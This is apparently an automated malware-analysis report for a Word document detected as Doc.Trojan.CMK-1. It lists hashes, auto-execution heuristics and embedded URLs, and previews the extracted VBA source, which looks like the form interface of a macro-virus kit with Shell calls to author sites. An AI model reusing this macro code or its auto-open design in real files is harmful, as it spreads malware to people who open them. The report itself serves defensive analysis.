Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 8acf2d2f14667f3d…

MALICIOUS

Office (OLE)

193.5 KB Created: 1999-08-06 20:03:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: ffd2722556e7ba5afbe89a597f509e2d SHA-1: af0d3846980e862516f3328a18361b5d827dd74a SHA-256: 8acf2d2f14667f3da611636e52407ad65f011e30d510cf84394cbc6bbfbeaf45
342 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The file contains legacy WordBasic and VBA macros, including AutoOpen and Document_Open, which are designed to execute automatically. Critical heuristics indicate the use of Shell() for execution and a ClamAV detection of 'Doc.Trojan.CMK-1'. The VBA script likely attempts to download and execute a second-stage payload from one of the embedded URLs.

Heuristics 8

  • ClamAV: Doc.Trojan.CMK-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.CMK-1
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.coderz.net/metaphase/A@V In document text (OLE body)
    • http://beam.to/lzoA@VIn document text (OLE body)
    • http://www.coderz.net/metaphase/In document text (OLE body)
    • http://beam.to/lzoIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 63638 bytes
SHA-256: 2a3021b67a5fa59a0ed971afc01ff878e3d08652b3512614822560060bc740eb
Detection
ClamAV: Doc.Trojan.CMK-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "frmAbout"
Attribute VB_Base = "0{11F61A85-4C3E-11D3-9923-00403393BF25}{11F61A79-4C3E-11D3-9923-00403393BF25}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Private Sub Image1_Click()
frmAbout.Hide
frmMain.Show
End Sub

Private Sub Label1_Click()
frmAbout.Hide
frmMain.Show
End Sub

Private Sub UserForm_Click()
frmAbout.Hide
frmMain.Show
End Sub

Private Sub UserForm_Initialize()
Image1.Picture = frmStart.Picture
End Sub

Attribute VB_Name = "frmDatum"
Attribute VB_Base = "0{11F61ACD-4C3E-11D3-9923-00403393BF25}{11F61A89-4C3E-11D3-9923-00403393BF25}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False



Private Sub CommandButton1_Click()
Tage = txtTage.Text
Monate = txtMonate.Text
frmDatum.Hide
frmPayload.Show
End Sub

Private Sub SpinButton1_SpinDown()
If Tage = 0 Then GoTo ende_
Tage = Tage - 1
txtTage.Text = Tage
ende_:
End Sub

Private Sub SpinButton1_SpinUp()
If Tage = 31 Then GoTo ende_
Tage = Tage + 1
txtTage.Text = Tage
ende_:
End Sub

Private Sub SpinButton2_SpinDown()
If Monate = 0 Then GoTo ende_
Monate = Monate - 1
txtMonate.Text = Monate
ende_:
End Sub

Private Sub SpinButton2_SpinUp()
If Monate = 12 Then GoTo ende_
Monate = Monate + 1
txtMonate.Text = Monate
ende_:
End Sub

Private Sub UserForm_Initialize()
Tage = Day(Now())
Monate = Month(Now())
txtTage.Text = Tage
txtMonate.Text = Monate
End Sub

Attribute VB_Name = "frmEnd"
Attribute VB_Base = "0{11F61ABF-4C3E-11D3-9923-00403393BF25}{11F61A8E-4C3E-11D3-9923-00403393BF25}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Private Sub UserForm_Click()
ActiveDocument.Close SaveChanges:=wdDoNotSaveChanges
End
End Sub

Attribute VB_Name = "frmGreets"
Attribute VB_Base = "0{11F61AD1-4C3E-11D3-9923-00403393BF25}{11F61A93-4C3E-11D3-9923-00403393BF25}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Private Sub UserForm_Click()
frmGreets.Hide
frmMain.Show
End Sub

Attribute VB_Name = "frmJackie"
Attribute VB_Base = "0{11F61AD5-4C3E-11D3-9923-00403393BF25}{11F61A97-4C3E-11D3-9923-00403393BF25}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Private Sub CommandButton1_Click()
frmAbout.Hide
End Sub

Private Sub Image1_Click()
Shell "start http://www.coderz.net/metaphase/"
End Sub

Private Sub Image2_Click()
Shell "start http://beam.to/lzo"
End Sub

Private Sub UserForm_Click()
frmJackie.Hide
frmMain.Show
End Sub

Attribute VB_Name = "frmMain"
Attribute VB_Base = "0{11F61AE3-4C3E-11D3-9923-00403393BF25}{11F61A9C-4C3E-11D3-9923-00403393BF25}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Private Sub CommandButton1_Click()
frmDatum.Show
End Sub

Private Sub OptionButton12_Click()

End Sub

Private Sub CommandButton2_Click()
frmMain.Hide
frmPayload.Show
End Sub

Private Sub CommandButton3_Click()
PiEPoly = True
frmMain.Hide
frmPiE.Show
End Sub

Private Sub CommandButton4_Click()
frmMain.Hide
frmAbout.Show
End Sub

Private Sub CommandButton5_Click()
frmMain.Hide
frmJackie.Show
End Sub

Private Sub CommandButton6_Click()
frmMain.Hide
frmGreets.Show
End Su
... (truncated)

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